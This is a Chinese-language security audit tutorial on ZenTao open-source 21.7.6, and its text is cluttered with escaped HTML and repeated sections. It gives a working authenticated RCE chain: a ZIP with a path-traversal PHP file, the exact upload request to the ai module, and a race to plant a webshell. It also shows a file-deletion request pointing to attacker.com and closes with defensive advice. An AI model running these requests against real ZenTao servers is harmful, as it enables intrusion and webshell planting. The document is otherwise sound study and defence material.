禅道开源版21.7.6安全审计教学文档<\/h1>

一、漏洞概述<\/h2>
本教学文档基于对禅道开源版21.7.6的安全审计分析，重点揭示后台存在的远程代码执行（RCE）漏洞及相关安全风险。<\/p>

二、环境与版本信息<\/h2>

受影响版本<\/strong>：

禅道开源版21.7.6<\/li>
禅道企业版12.5<\/li>
禅道旗舰版7.5<\/li>
禅道IPD版4.5<\/li> <\/ul> <\/li> <\/ul>
三、路由与权限验证机制分析<\/h2>
3.1 入口文件分析<\/h3>

主入口文件<\/strong>：index.php<\/code><\/li>
关键函数<\/strong>： setParams()<\/code>（第80行）：检测参数合法性，使用正则过滤（允许字符：A-Z a-z 0-9 = _ , ` # + ^ \/ . % * | - 及ASCII 127~255）<\/li> checkPriv()<\/code>（第82行）：权限验证<\/li> <\/ul> <\/li> <\/ul> 3.2 登录验证流程<\/h3> isLogon()<\/code>验证cookie有效性<\/li> cookie无效时调用identifyByCookie()<\/code>→identify()<\/code><\/li> checkAccount()<\/code>验证account参数合法性<\/li> identifyUser()<\/code>进行最终权限认证（数据库查询+密码加密对比）<\/li> <\/ol> 3.3 白名单机制<\/h3> 条件<\/strong>：需定义define('RUN_MODE', "xuanxuan")<\/code><\/li> 白名单路由<\/strong>： $this->config->xuanxuan->enabledMethods<\/code>中的路由<\/li> 路由18、19、20<\/li> $this->config->openMethods<\/code>中的路由<\/li> <\/ul> <\/li> x.php的利用条件<\/strong>： User-Agent: easysoft\/xuan.im <\/span><\/span><\/span>XXD-VERSION: XXDBuildVersion <\/span><\/span><\/span><\/code><\/pre><\/li> <\/ul> 四、后台任意文件上传漏洞<\/h2> 4.1 漏洞位置<\/h3> 模块<\/strong>：ai<\/code><\/li> 函数<\/strong>：importMiniProgram()<\/code><\/li> 关键函数<\/strong>：extractZtAppZip()<\/code>（解压ZIP文件）<\/li> <\/ul> 4.2 漏洞原理<\/h3> 解压函数未对文件名进行过滤，存在目录穿越风险。通过多线程上传可绕过文件删除机制。<\/p> 4.3 利用步骤<\/h3> 创建恶意PHP文件<\/strong>：<\/p> echo ""<\/span> > "1......www1.php"<\/span> <\/span><\/span><\/code><\/pre>文件内容示例：<\/p> <?<\/span>php<\/span> <\/span><\/span>file_put_contents<\/span>("2.php"<\/span>, "<?php phpinfo(); ?>"<\/span>); <\/span><\/span>?><\/span> <\/span><\/span><\/span><\/code><\/pre><\/li> 压缩为ZIP文件<\/strong>：<\/p> 文件名：test.zip<\/code><\/li> 包含文件：1......www1.php<\/code><\/li> <\/ul> <\/li> 构造HTTP请求<\/strong>：<\/p> POST<\/span> \/index.php?m=ai&f=importMiniProgram&t=json HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> target.com<\/span> <\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=----WebKitFormBoundary3eXP1ZTZbgS8AwcN<\/span> <\/span><\/span>Cookie:<\/span> [有效后台Cookie]<\/span> <\/span><\/span> <\/span><\/span>------WebKitFormBoundary3eXP1ZTZbgS8AwcN <\/span><\/span>Content-Disposition: form-data; name="file"; filename="11.zip" <\/span><\/span>Content-Type: image\/jpeg <\/span><\/span> <\/span><\/span>[ZIP文件内容] <\/span><\/span>------WebKitFormBoundary3eXP1ZTZbgS8AwcN-- <\/span><\/span><\/code><\/pre><\/li> 多线程攻击<\/strong>：<\/p> 利用多线程频繁访问上传的PHP文件，防止被系统删除<\/li> 成功执行后生成webshell：\/2.php<\/code><\/li> <\/ul> <\/li> <\/ol> 五、后台任意文件删除漏洞<\/h2> 5.1 漏洞位置<\/h3> 模块<\/strong>：client<\/code><\/li> 函数<\/strong>：download($version = '', $link = '', $os = '')<\/code><\/li> <\/ul> 5.2 利用方法<\/h3> POST<\/span> \/index.php?m=client&f=download&version=..&link=aHR0cDovLzE5Mi4xNjguOTEuMTI4Ojg4ODgvMS5waHA6LmpwZw== HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> target.com<\/span> <\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=----WebKitFormBoundaryTpBALmOH3iLmpjGA<\/span> <\/span><\/span> <\/span><\/span>------WebKitFormBoundaryTpBALmOH3iLmpjGA <\/span><\/span>Content-Disposition: form-data; name="link" <\/span><\/span>http:\/\/attacker.com\/malicious.file <\/span><\/span>------WebKitFormBoundaryTpBALmOH3iLmpjGA-- <\/span><\/span><\/code><\/pre>六、其他潜在漏洞点<\/h2> 6.1 文件操作相关漏洞<\/h3> 任意文件删除<\/strong>：<\/p> backup::delete($fileName)<\/code><\/li> editor::delete($filePath = '')<\/code><\/li> <\/ul> <\/li> 文件读取<\/strong>：<\/p> editor::edit($filePath = '', $action = '', $isExtends = '')<\/code><\/li> <\/ul> <\/li> 任意文件写入<\/strong>：<\/p> editor::save($filePath = '', $action = '')<\/code><\/li> <\/ul> <\/li> <\/ol> 6.2 文件上传相关漏洞<\/h3> extension::upload()<\/code><\/li> file::ajaxUpload()<\/code><\/li> transfer::import()<\/code><\/li> fileModel::saveAFile()<\/code><\/li> fileModel::saveChunkedFile()<\/code><\/li> <\/ol> 6.3 文件删除相关漏洞<\/h3> fileModel::unlinkFile($file)<\/code><\/li> <\/ul> 七、防护建议<\/h2> 7.1 代码层面<\/h3> 对ZIP解压函数添加文件名过滤<\/li> 严格校验文件路径，防止目录穿越<\/li> 加强权限验证，避免越权操作<\/li> <\/ol> 7.2 配置层面<\/h3> 及时更新到最新版本<\/li> 限制后台访问IP<\/li> 定期进行安全审计<\/li> <\/ol> 7.3 运维层面<\/h3> 部署WAF防护<\/li> 监控异常文件操作<\/li> 建立应急响应机制<\/li> <\/ol> 八、总结<\/h2> 本教学文档详细分析了禅道系统存在的多个高危漏洞，特别是后台RCE漏洞的利用链。安全人员应重点关注文件操作相关函数的安全性和权限验证机制的完整性，及时采取防护措施确保系统安全。<\/p>

禅道开源版21.7.6安全审计教学文档<\/h1>

一、漏洞概述<\/h2> 本教学文档基于对禅道开源版21.7.6的安全审计分析，重点揭示后台存在的远程代码执行（RCE）漏洞及相关安全风险。<\/p>

三、路由与权限验证机制分析<\/h2>

四、后台任意文件上传漏洞<\/h2>

4.2 漏洞原理<\/h3> 解压函数未对文件名进行过滤，存在目录穿越风险。通过多线程上传可绕过文件删除机制。<\/p>

五、后台任意文件删除漏洞<\/h2>

六、其他潜在漏洞点<\/h2>

七、防护建议<\/h2>

八、总结<\/h2> 本教学文档详细分析了禅道系统存在的多个高危漏洞，特别是后台RCE漏洞的利用链。安全人员应重点关注文件操作相关函数的安全性和权限验证机制的完整性，及时采取防护措施确保系统安全。<\/p>

一、漏洞概述<\/h2>
本教学文档基于对禅道开源版21.7.6的安全审计分析，重点揭示后台存在的远程代码执行（RCE）漏洞及相关安全风险。<\/p>

4.2 漏洞原理<\/h3>
解压函数未对文件名进行过滤，存在目录穿越风险。通过多线程上传可绕过文件删除机制。<\/p>

八、总结<\/h2>
本教学文档详细分析了禅道系统存在的多个高危漏洞，特别是后台RCE漏洞的利用链。安全人员应重点关注文件操作相关函数的安全性和权限验证机制的完整性，及时采取防护措施确保系统安全。<\/p>